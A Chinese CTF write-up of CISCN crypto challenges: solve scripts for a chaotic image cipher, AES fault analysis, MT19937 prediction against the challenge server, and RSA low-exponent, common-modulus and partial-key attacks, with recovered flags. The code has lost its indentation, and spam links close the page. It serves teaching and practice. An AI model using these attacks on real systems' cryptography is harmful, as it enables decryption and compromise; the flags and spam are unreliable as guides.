0, 17, 203, 210, 71, 186, 49, 162, 250, 218, 219, 195, 63, 248, 220, 155, 180, 219, 132, 219, 94, 144, 247, 211, 95, 70, 227, 222, 31, 69, 24, 13, 216, 185, 108, 137, 57, 186, 211, 55, 27, 158, 241, 223, 21, 134, 106, 152, 127, 187, 245, 246, 131, 176, 177, 228, 100, 112, 11, 84, 61, 193, 42, 41, 69, 229, 145, 254, 138, 3, 153, 123, 31]
key = []
for i in range(16):
for j in range(16):
index = 16 * i + j
pixel = testimage[index]
pix = testcipher[index]
if pix ^ pixel & 0xff not in key:
key.append(pix ^ pixel & 0xff)
if pix ^ ~pixel & 0xff not in key:
key.append(pix ^ ~pixel & 0xff)
print(key) # [78, 177, 169, 86]
得到key1,key2的四个可能值,推出testimage的可能bins值
key = [78, 177, 169, 86]
bins = []
for key1 in key:
for key2 in key:
bn = ''
for i in range(16):
for j in range(16):
index = 16 * i + j
pix = testimage[index]
pix2 = testcipher[index]
if (pix ^ pix2) & 0xff == key1:
ch = '00'
elif (~pix ^ pix2) & 0xff == key1:
ch = '01'
elif (pix ^ pix2) & 0xff == key2:
ch = '10'
elif (~pix ^ pix2) & 0xff == key2:
ch = '11'
bn += ch
print(key1, key2, (pix ^ pix2) & 0xff, (~pix ^ pix2) & 0xff, ch)
bins.append(bn)
print(bins)
# bins = [ '00010001010000000001000000000001000101010000010100010100000000000101010101010000000001010100010001010000000000010000010101000000010100010101010101010100000000000100000000000000000000000000000001010101010101010000010000000101010000000000010000000000010001010101010101000000000000010100000001000001010100000000000000010001010101010001010100000000000001010100000000000000000000000000000001010101000000000001010000010100010000000000010000000001010101010101010101010100000000000001010101000001000101010101010101010101', '00010001010000000001000000000001000101010000010100010100000000000101010101010000000001010100010001010000000000010000010101000000010100010101010101010100000000000100000000000000000000000000000001010101010101010000010000000101010000000000010000000000010001010101010101000000000000010100000001000001010100000000000000010001010101010001010100000000000001010100000000000000000000000000000001010101000000000001010000010100010000000000010000000001010101010101010101010100000000000001010101000001000101010101010101010101', '00010001100011110001001000000001000101100011011000011100111010100110101011100000000001010100010001100011100011010011010110001110011100011110100111011100101011110100110011001010111100101110101101111010010111110010010000100110010011111100010011110000010001100111100101001000001011010100100001001101111100111111111111010001011001110001100100111111000001110100100010101011110011101100101001110110000000001101100011011100010011111011010011110001011001110111111001100100001011110001011001001101000111101111111011011101', '00010001110010100001001100000001000101110010011100011000101111110111111110110000000001010100010001110010110010010010010111001011011000011011110110011000111110100100100010001111101000111011111001101111010110100011010000110111010010101000010010100000010001110110110101001100001110010100110001001001101000101010101010010001011101100001110100101010000001100100110011111110100010111000111101100111000000001001110010011000010010101110010010100001011101100110101101110100001110100001011101001001000110111010101110011001', '01000100000101010100010101010100010000000101000001000001010101010000000000000101010100000001000100000101010101000101000000010101000001000000000000000001010101010001010101010101010101010101010100000000000000000101000101010000000101010101000101010101000100000000000000010101010101000001010100010100000001010101010101000100000000000100000001010101010100000001010101010101010101010101010100000000010101010100000101000001000101010101000101010100000000000000000000000001010101010100000000010100010000000000000000000000', '01000100000101010100010101010100010000000101000001000001010101010000000000000101010100000001000100000101010101000101000000010101000001000000000000000001010101010001010101010101010101010101010100000000000000000101000101010000000101010101000101010101000100000000000000010101010101000001010100010100000001010101010101000100000000000100000001010101010100000001010101010101010101010101010100000000010101010100000101000001000101010101000101010100000000000000000000000001010101010100000000010100010000000000000000000000', '01000100100111110100011001010100010000100111001001001101111010100010101011100101010100000001000100100111100111000111000010011110001101001110100011001101101011110001110111011010111101101110101100111010000011110110000101100010000111111101000111110101000100100011100000011001011011000001100100011100111101111111111111000100001000110100100001111111010100110001100110101011110111101101101000110010010101011100100111001101000111111011000111110100001000110011111000100001011011110100001000011100010011101111111011001100', '01000100110110100100011101010100010000110110001101001001101111110011111110110101010100000001000100110110110110000110000011011011001001001011110010001001111110100001100110011111101001111011111000101111000010100111000101110011000110101001000110100101000100110010110000011101011110000001110100011000101001101010101010000100001100100100110001101010010100100001110111111110100110111001111100100011010101011000110110001001000110101110000110100100001100100010101100110001011110100100001100011000010010111010101110001000', '10111011001001011011100010101011101111001001110010110110010000001100000001001010101011111110111011001001001001111001111100100100110110110100001101110110000001011110011001100000010110000100000111010000111101011000111010001100111001010110111001011010111011001101001111100010100001111110001011100111010110010101010101111011110011011011001110010101101011011110001000000001011001000110000011011100101010100111001001110110111001010001111001011011110011011101010011001110100001011011110011100111101101000101010001110111', '11101110001101011110110011111110111010001101100011100111010000001000000001001111111110101011101110001101001101101101101000110100100111100100001001100111000001011011011101110000010111000100000110010000101001011100101111001000101101010111101101011111101110001001001010110011110001101011001110110110010111010101010101101110100010011110001011010101111110011011001100000001011101000111000010011000111111110110001101100111101101010001101101011110100010011001010010001011110001011110100010110110111001000101010001100110', '10101010000001010101010000000000000000000001010000000101010000000000000001000000000000000000000000000001000001010101010100000100000101010100000001010101000001010101010101010000010101000100000101010000000001010100000000000000000001010101010101010101010101000001000000000000000001010101000000000101010101010101010101010101010000010101000000010101010101010101000000000001010101000101000000010100000000000101000001010101010101010001010101010101010000010101010000000000000001010101010000000101010101000101010001010101', '01010101000001010101010000000000000000000001010000000101010000000000000001000000000000000000000000000001000001010101010100000100000101010100000001010101000001010101010101010000010101000100000101010000000001010100000000000000000001010101010101010101010101000001000000000000000001010101000000000101010101010101010101010101010000010101000000010101010101010101000000000001010101000101000000010100000000000101000001010101010101010001010101010101010000010101010000000000000001010101010000000101010101000101010001010101', '10111011011000001011100110101011101111011000110110110010000101011101010100011010101011111110111011011000011000111000111101100001110010110001011100110010010100001110001000100101000010010001010011000101111100001001111010011101111000000010111000001010111011011100011111100110100100111110011011100011000010000000000000111011110111001011011110000000101011001110011001010100001000010010010111001101101010100011011000110010111000000100111000001011110111001100000111011110100100001011110111100011101100010000000100110011', '11101110011100001110110111111110111010011100100111100011000101011001010100011111111110101011101110011100011100101100101001110001100011100001011000100011010100001011001100110101000011010001010010000101101000001101101111011001101100000011101100001111101110011000011010110111110100101011011110110010000011000000000000101110100110001110011011000000111110001011011101010100001100010011010110001001111111110010011100100011101100000100101100001110100110001000000110011011110100001110100110110010111000010000000100100010', '10101010010100000000000101010101010101010100000101010000000101010101010100010101010101010101010101010100010100000000000001010001010000000001010100000000010100000000000000000101000000010001010000000101010100000001010101010101010100000000000000000000000000010100010101010101010100000000010101010000000000000000000000000000000101000000010101000000000000000000010101010100000000010000010101000001010101010000010100000000000000000100000000000000000101000000000101010101010100000000000101010000000000010000000100000000', '00000000010100000000000101010101010101010100000101010000000101010101010100010101010101010101010101010100010100000000000001010001010000000001010100000000010100000000000000000101000000010001010000000101010100000001010101010101010100000000000000000000000000010100010101010101010100000000010101010000000000000000000000000000000101000000010101000000000000000000010101010100000000010000010101000001010101010000010100000000000000000100000000000000000101000000000101010101010100000000000101010000000000010000000100000000']
继而爆破r和x0
key = [78, 177, 169, 86]
bins = [ '00010001010000000001000000000001000101010000010100010100000000000101010101010000000001010100010001010000000000010000010101000000010100010101010101010100000000000100000000000000000000000000000001010101010101010000010000000101010000000000010000000000010001010101010101000000000000010100000001000001010100000000000000010001010101010001010100000000000001010100000000000000000000000000000001010101000000000001010000010100010000000000010000000001010101010101010101010100000000000001010101000001000101010101010101010101', '00010001010000000001000000000001000101010000010100010100000000000101010101010000000001010100010001010000000000010000010101000000010100010101010101010100000000000100000000000000000000000000000001010101010101010000010000000101010000000000010000000000010001010101010101000000000000010100000001000001010100000000000000010001010101010001010100000000000001010100000000000000000000000000000001010101000000000001010000010100010000000000010000000001010101010101010101010100000000000001010101000001000101010101010101010101', '00010001100011110001001000000001000101100011011000011100111010100110101011100000000001010100010001100011100011010011010110001110011100011110100111011100101011110100110011001010111100101110101101111010010111110010010000100110010011111100010011110000010001100111100101001000001011010100100001001101111100111111111111010001011001110001100100111111000001110100100010101011110011101100101001110110000000001101100011011100010011111011010011110001011001110111111001100100001011110001011001001101000111101111111011011101', '00010001110010100001001100000001000101110010011100011000101111110111111110110000000001010100010001110010110010010010010111001011011000011011110110011000111110100100100010001111101000111011111001101111010110100011010000110111010010101000010010100000010001110110110101001100001110010100110001001001101000101010101010010001011101100001110100101010000001100100110011111110100010111000111101100111000000001001110010011000010010101110010010100001011101100110101101110100001110100001011101001001000110111010101110011001', '01000100000101010100010101010100010000000101000001000001010101010000000000000101010100000001000100000101010101000101000000010101000001000000000000000001010101010001010101010101010101010101010100000000000000000101000101010000000101010101000101010101000100000000000000010101010101000001010100010100000001010101010101000100000000000100000001010101010100000001010101010101010101010101010100000000010101010100000101000001000101010101000101010100000000000000000000000001010101010100000000010100010000000000000000000000', '01000100000101010100010101010100010000000101000001000001010101010000000000000101010100000001000100000101010101000101000000010101000001000000000000000001010101010001010101010101010101010101010100000000000000000101000101010000000101010101000101010101000100000000000000010101010101000001010100010100000001010101010101000100000000000100000001010101010100000001010101010101010101010101010100000000010101010100000101000001000101010101000101010100000000000000000000000001010101010100000000010100010000000000000000000000', '01000100100111110100011001010100010000100111001001001101111010100010101011100101010100000001000100100111100111000111000010011110001101001110100011001101101011110001110111011010111101101110101100111010000011110110000101100010000111111101000111110101000100100011100000011001011011000001100100011100111101111111111111000100001000110100100001111111010100110001100110101011110111101101101000110010010101011100100111001101000111111011000111110100001000110011111000100001011011110100001000011100010011101111111011001100', '01000100110110100100011101010100010000110110001101001001101111110011111110110101010100000001000100110110110110000110000011011011001001001011110010001001111110100001100110011111101001111011111000101111000010100111000101110011000110101001000110100101000100110010110000011101011110000001110100011000101001101010101010000100001100100100110001101010010100100001110111111110100110111001111100100011010101011000110110001001000110101110000110100100001100100010101100110001011110100100001100011000010010111010101110001000', '10111011001001011011100010101011101111001001110010110110010000001100000001001010101011111110111011001001001001111001111100100100110110110100001101110110000001011110011001100000010110000100000111010000111101011000111010001100111001010110111001011010111011001101001111100010100001111110001011100111010110010101010101111011110011011011001110010101101011011110001000000001011001000110000011011100101010100111001001110110111001010001111001011011110011011101010011001110100001011011110011100111101101000101010001110111', '11101110001101011110110011111110111010001101100011100111010000001000000001001111111110101011101110001101001101101101101000110100100111100100001001100111000001011011011101110000010111000100000110010000101001011100101111001000101101010111101101011111101110001001001010110011110001101011001110110110010111010101010101101110100010011110001011010101111110011011001100000001011101000111000010011000111111110110001101100111101101010001101101011110100010011001010010001011110001011110100010110110111001000101010001100110', '10101010000001010101010000000000000000000001010000000101010000000000000001000000000000000000000000000001000001010101010100000100000101010100000001010101000001010101010101010000010101000100000101010000000001010100000000000000000001010101010101010101010101000001000000000000000001010101000000000101010101010101010101010101010000010101000000010101010101010101000000000001010101000101000000010100000000000101000001010101010101010001010101010101010000010101010000000000000001010101010000000101010101000101010001010101', '01010101000001010101010000000000000000000001010000000101010000000000000001000000000000000000000000000001000001010101010100000100000101010100000001010101000001010101010101010000010101000100000101010000000001010100000000000000000001010101010101010101010101000001000000000000000001010101000000000101010101010101010101010101010000010101000000010101010101010101000000000001010101000101000000010100000000000101000001010101010101010001010101010101010000010101010000000000000001010101010000000101010101000101010001010101', '10111011011000001011100110101011101111011000110110110010000101011101010100011010101011111110111011011000011000111000111101100001110010110001011100110010010100001110001000100101000010010001010011000101111100001001111010011101111000000010111000001010111011011100011111100110100100111110011011100011000010000000000000111011110111001011011110000000101011001110011001010100001000010010010111001101101010100011011000110010111000000100111000001011110111001100000111011110100100001011110111100011101100010000000100110011', '11101110011100001110110111111110111010011100100111100011000101011001010100011111111110101011101110011100011100101100101001110001100011100001011000100011010100001011001100110101000011010001010010000101101000001101101111011001101100000011101100001111101110011000011010110111110100101011011110110010000011000000000000101110100110001110011011000000111110001011011101010100001100010011010110001001111111110010011100100011101100000100101100001110100110001000000110011011110100001110100110110010111000010000000100100010', '10101010010100000000000101010101010101010100000101010000000101010101010100010101010101010101010101010100010100000000000001010001010000000001010100000000010100000000000000000101000000010001010000000101010100000001010101010101010100000000000000000000000000010100010101010101010100000000010101010000000000000000000000000000000101000000010101000000000000000000010101010100000000010000010101000001010101010000010100000000000000000100000000000000000101000000000101010101010100000000000101010000000000010000000100000000',
'00000000010100000000000101010101010101010100000101010000000101010101010100010101010101010101010101010100010100000000000001010001010000000001010100000000010100000000000000000101000000010001010000000101010100000001010101010101010100000000000000000000000000010100010101010101010100000000010101010000000000000000000000000000000101000000010101000000000000000000010101010100000000010000010101000001010101010000010100000000000000000100000000000000000101000000000101010101010100000000000101010000000000010000000100000000']
def bintest(r, x0):
assert len(str(r)) == 3
num = 16 * 16 / 8
seqs = []
x = x0
bs = ''
tmp = []
for i in range(num):
x = round(r * x * (3 - x), 6)
tmp.append(x)
seqs.append(int(x * 22000))
for x in seqs:
bin_x = bin(x)[2:]
if len(bin_x) < 16:
bin_x = '0' * (16 - len(bin_x)) + bin_x
bs += bin_x
return bs
for x0 in range(1, 1000000, 1):
x = round(x0 / float(1000000), 6)
for i in range(0, 100, 1):
r = i / float(10)
try:
bns = bintest(r, x)
if bns in bins:
print 'x0 = ' + str(x), 'r = ' + str(r)
exit(0)
except Exception as e:
pass
得到r = 1.2,x0 = 0.840264
同时反推出key1为169,key2为78,直接根据加密特性再对flagimage进行一次加密即可得到原始image,md5后即为flag
import hashlib
def generate(x):
return round(r * x * (3 - x), 6)
def encrypt(pixel, key1, key2, x0, m, n):
num = m * n / 8
seqs = []
x = x0
bins = ''
tmp = []
for i in range(num):
x = generate(x)
tmp.append(x)
seqs.append(int(x * 22000))
for x in seqs:
bin_x = bin(x)[2:]
if len(bin_x) < 16:
bin_x = '0' * (16 - len(bin_x)) + bin_x
bins += bin_x
assert (len(pixel) == m * n)
cipher = [0 for i in range(m) for j in range(n)]
for i in range(m):
for j in range(n):
index = n * i + j
ch = int(bins[2 * index:2 * index + 2], 2)
pix = pixel[index]
if ch == 0:
pix = (pix ^ key1) & 0xff
if ch == 1:
pix = (~pix ^ key1) & 0xff
if ch == 2:
pix = (pix ^ key2) & 0xff
if ch == 3:
pix = (~pix ^ key2) & 0xff
cipher[index] = pix
return cipher
key1 = 169
key2 = 78
x0 = 0.840264
r = 1.2
flagimage = [198, 143, 247, 3, 152, 139, 131, 84, 181, 180, 252, 177, 192, 25, 217, 179, 136, 107, 190, 62, 4, 6, 90,
53, 105, 238, 117, 44, 5, 116, 132, 195, 214, 171, 113, 209, 18, 31, 194, 174, 228, 212, 196, 14, 27, 41,
211, 56, 139, 135, 225, 214, 89, 122, 178, 212, 185, 231, 204, 150, 204, 212, 160, 142, 213, 173, 186, 166,
65, 238, 5, 32, 45, 31, 25, 189, 148, 38, 78, 79, 33, 56, 227, 48, 103, 163, 31, 189, 37, 124, 106, 249,
86, 188, 86, 233, 41, 250, 89, 7, 212, 234, 111, 104, 245, 102, 227, 96, 160, 67, 181, 13, 26, 192, 214,
210, 188, 84, 216, 215, 243, 72, 233, 2, 122, 166, 107, 251, 70, 128, 94, 190, 185, 210, 34, 85, 77, 29,
182, 77, 115, 208, 228, 252, 73, 198, 151, 70, 10, 97, 138, 235, 21, 117, 239, 102, 129, 2, 253, 80, 53,
61, 184, 220, 41, 82, 37, 140, 23, 143, 179, 53, 153, 113, 213, 211, 111, 197, 248, 65, 60, 69, 1, 81, 48,
254, 251, 89, 195, 8, 93, 190, 66, 174, 97, 175, 210, 191, 66, 112, 123, 128, 33, 230, 237, 104, 16, 192,
239, 173, 44, 10, 120, 231, 114, 151, 140, 63, 103, 44, 243, 222, 242, 73, 51, 46, 98, 137, 163, 152, 147,
95, 223, 3, 15, 112, 85, 215, 133, 131, 240, 239, 224, 195, 140, 124, 70, 156, 221, 241, 37, 245, 1, 99, 9,
157, 99, 150, 47, 118, 225, 16, 13, 141, 135, 99, 18, 119, 63, 160, 6, 247, 27, 68, 45, 199, 86, 193, 252,
21, 135, 32, 42, 103, 114, 241, 49, 249, 182, 52, 18, 155, 157, 61, 4, 246, 158, 52, 118, 242, 195, 54,
139, 232, 100, 31, 11, 233, 58, 100, 101, 137, 83, 145, 209, 7, 241, 96, 57, 148, 207, 29, 237, 124, 177,
166, 161, 20, 116, 122, 61, 71, 46, 82, 18, 157, 253, 130, 112, 66, 94, 57, 221, 243, 222, 192, 147, 5,
130, 201, 174, 26, 160, 16, 188, 103, 187, 11, 238, 182, 144, 4, 137, 33, 84, 100, 7, 239, 219, 83, 112,
189, 166, 58, 93, 141, 30, 198, 220, 196, 118, 172, 5, 45]
print(encrypt(flagimage, key1, key2, x0, 24, 16))
print(hashlib.md5(''.join(map(chr, encrypt(flagimage, key1, key2, x0, 24, 16)))).hexdigest())
有一点要注意的是,所有代码放在python2环境运行,不然连md5加密值都会不同。
CISCN{7fa176002ced947e49f1752c1eb9dd62}
oddaes | Solved | Tr0jAn
chall调用了aes,常规CBC加密模式,只有密文和进行了部分混淆的密文,给了key的序列验证md5值,aes是正常的AES,GitHub上工具爆破得到可能的key。
root@loclohost~ ./dfa 32 -1 input-1.csv
(0) Analysing ciphertext pair:
a3f7ea6521a0c7a480653339edc261b4 b784d7dda768571f38562cf19218ab75
Number of core(s): 32
----------------------------------------------------
Fault location: 0
Applying standard filter. Done.
Size of keyspace: 7770931200 = 2^32.855440
Applying improved filter. Done.
Size of keyspace: 474 = 2^8.888743
......
大概要跑10-20分钟,得到4226个可能的key
写脚本对key进行校验,进而解密即可
from aes import AES
import hashlib
import os
f = open('keys-0.csv', 'r')
cipher1 = '973f5ae78bc933a8fc7f7ab98d53d16f'
cipher2 = '628aab012199cdab83cc1aa72204ea98'
plain = os.urandom(16)
for key in f.readlines():
cipher, k = AES(bytes.fromhex(key)).encrypt_block_(plain, 123)
piece1 = [k[0], k[1], k[4], k[7], k[10], k[11], k[13], k[14]]
piece2 = [k[2], k[3], k[5], k[6], k[8], k[9], k[12], k[15]]
if hashlib.md5(bytes(piece1)).hexdigest() == cipher1 and hashlib.md5(bytes(piece2)).hexdigest().replace('0x', '') == cipher2:
print('key :' + key)
print('flag:' + hashlib.md5(bytes.fromhex(key)).hexdigest())
exit(0)
CISCN{8e786b3efe3fa5c0984894a7b75e8324}
homo | Solved | 1cePeak
解题思路:
服务器给了我们两个选择,但是一开始只能选择game(),只有在game()里猜对了200个以上数字才能使allowed值为真,进而可以选择fun()函数帮我们解密。
开始game()函数的时候,会重置伪随机数种子:random.seed(os.urandom(32)),然后进行512次random.getrandbits(64),getrandbits内部是使用MT19937实现的,所以我们需要得到624个状态(624x32),即312个64bits的输出。最后剩下200个都可以准确预测出来。
然后是fun()部分,虽然可以帮助解密,但是不能直接发送之前给的密文,会有一个检查,所以需要对密文改动一点,然后由于lwe的对error的容错性,不会影响到正常解密,因此还是可以得到解密后的值的。
from mt19937predictor import MT19937Predictor
from Crypto.Util.number import *
from pwn import *
predictor = MT19937Predictor()
r = remote('124.71.224.75', 25185)
def recv_list():
return [int(i) for i in r.recvline().decode().strip("[]\n").split(", ")]
p0, p1, c0, c1 = [recv_list() for _ in range(4)]
r.recvlines(2)
r.sendline(b"1")
r.recvline()
for i in range(512):
if i < 312:
r.sendlineafter(b'your number:', b'0')
r.recvuntil(b'lose!my number is ')
x = int(r.recvline().decode().strip('\n'))
predictor.setrandbits(x, 64)
else:
x = predictor.getrandbits(64)
r.sendlineafter(b'your number:', str(x).encode())
r.recvline()
r.recvlines(2)
r.sendline(b"2")
c0[0] += 1
c1[0] += 1
r.sendlineafter(b'c0:', str(c0).strip('[]').encode())
r.sendlineafter(b'c1:', str(c1).strip('[]').encode())
r.recvline()
flag = long_to_bytes(int(''.join([str(i) for i in recv_list()]), 2))
r.close()
print(flag)
CISCN{Po66p-CDGTf-wtqDH-u4C3T-ob0Jo-}
rsa | Solved | Tr0jAn
题目源码:
from flag import text,flag
import md5
from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime
assert md5.new(text).hexdigest() == flag[6:-1]
msg1 = text[:xx]
msg2 = text[xx:yy]
msg3 = text[yy:]
msg1 = bytes_to_long(msg1)
msg2 = bytes_to_long(msg2)
msg3 = bytes_to_long(msg3)
p1 = getPrime(512)
q1 = getPrime(512)
N1 = p1*q1
e1 = 3
print pow(msg1,e1,N1)
print (e1,N1)
p2 = getPrime(512)
q2 = getPrime(512)
N2 = p2*q2
e2 = 17
e3 = 65537
print pow(msg2,e2,N2)
print pow(msg2,e3,N2)
print (e2,N2)
print (e3,N2)
p3 = getPrime(512)
q3 = getPrime(512)
N3 = p3*q3
print pow(msg3,e3,N3)
print (e3,N3)
print p3>>200
题目很明显考的也很基本,RSA相关常见的攻击
总共分为三部分:
1.低加密指数攻击
# part1 python 低加密指数攻击
import gmpy2
e = 3
n = 123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009
c = 19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893
result = gmpy2.iroot(c, 3)
if result[1]:
print(' [-]The m is:', '{:x}'.format(result[0]))
msg第一部分如下:
# msg1 = 200a4f2077696c6420576573742057696e642c2074686f7520627265617468206f6620417574756d
2.共模攻击
# part2 python 共模攻击
import gmpy2
n = 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977
e = [17, 65537]
c = [54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610, 91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950]
c1 = c[0]
c2 = c[1]
e1 = e[0]
e2 = e[1]
s = gmpy2.gcdext(e1, e2)
s1 = s[1]
s2 = s[2]
# 求模反元素
if s1 < 0:
s1 = -s1
c1 = gmpy2.invert(c1, n)
elif s2 < 0:
s2 = -s2
c2 = gmpy2.invert(c2, n)
m = pow(c1, s1, n) * pow(c2, s2, n) % n
print(' [-]m is:' + '{:x}'.format(int(m)))
msg第二部分如下:
# msg2 = 6e2773206265696e672c0a54686f752c2066726f6d2077686f736520756e7365656e2070726573656e636520746865206c656176657320646561640a4172652064726976656e2c206c696b652067686f7374732066726f6d20616e20656e6368616e74657220666c6565696e672c0a59656c6c6f772c2061
3.p高位泄露
先计算出p,q,而后常规解密即可
# part3 sage p高位泄露
n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147
p4 = 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902
e = 65537
pbits = 512
kbits = pbits - p4.nbits()
print(p4.nbits())
p4 = p4 << kbits
PR. < x > = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2 ^ kbits, beta=0.4)
if roots:
p = p4 + int(roots[0])
print("n: " + str(n))
print("p: " + str(p))
print("q: " + str(n // p))
# python
import gmpy2
c = 59213696442373765895948702611659756779813897653022080905635545636905434038306468935283962686059037461940227618715695875589055593696352594630107082714757036815875497138523738695066811985036315624927897081153190329636864005133757096991035607918106529151451834369442313673849563635248465014289409374291381429646
p = 11437038763581010263116493983733546014403343859218003707512796706928880848035239990740428334091106443982769386517753703890002478698418549777553268906496423
q = 9918033198963879798362329507637256706010562962487329742400933192721549307087332482107381554368538995776396557446746866861247191248938339640876368268930589
d = gmpy2.invert(e, (p-1)*(q-1))
print(' [-]m is:' + str(hex(pow(c, d, n))).replace('0x', ''))
msg第三部分如下:
# msg3 = 6e6420626c61636b2c20616e642070616c652c20616e6420686563746963207265642c0a50657374696c656e63652d73747269636b656e206d756c746974756465733a204f2074686f752c0a57686f2063686172696f7465737420746f207468656972206461726b2077696e747279206265640a
将msg拼接并求md5,即为flag
import hashlib
from Crypto.Util.number import long_to_bytes
print(hashlib.md5(long_to_bytes(int(msg1+msg2+msg3, 16))).hexdigest())
flag如下:
CISCN{3943e8843a19149497956901e5d98639}
想想你的文章写的特别好www.jiwenlaw.com
不错不错,我喜欢看 www.jiwenlaw.com
看的我热血沸腾啊https://www.237fa.com/